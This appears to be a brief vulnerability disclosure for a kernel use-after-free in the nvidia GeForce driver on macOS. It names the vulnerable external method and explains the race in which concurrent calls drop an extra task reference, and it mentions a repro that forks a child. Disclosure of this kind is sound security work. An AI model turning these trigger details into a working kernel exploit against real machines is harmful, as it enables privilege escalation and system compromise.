MacOS kernel UAF due to lack of locking in nvidia GeForce driver

nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.

It calls task_deallocate without locking. Two threads can race calling this external method to drop
two task references when only one is held.

Note that the repro forks a child which give the nvAccelerator a different task otherwise
the repro is more likely to leak task references than panic.
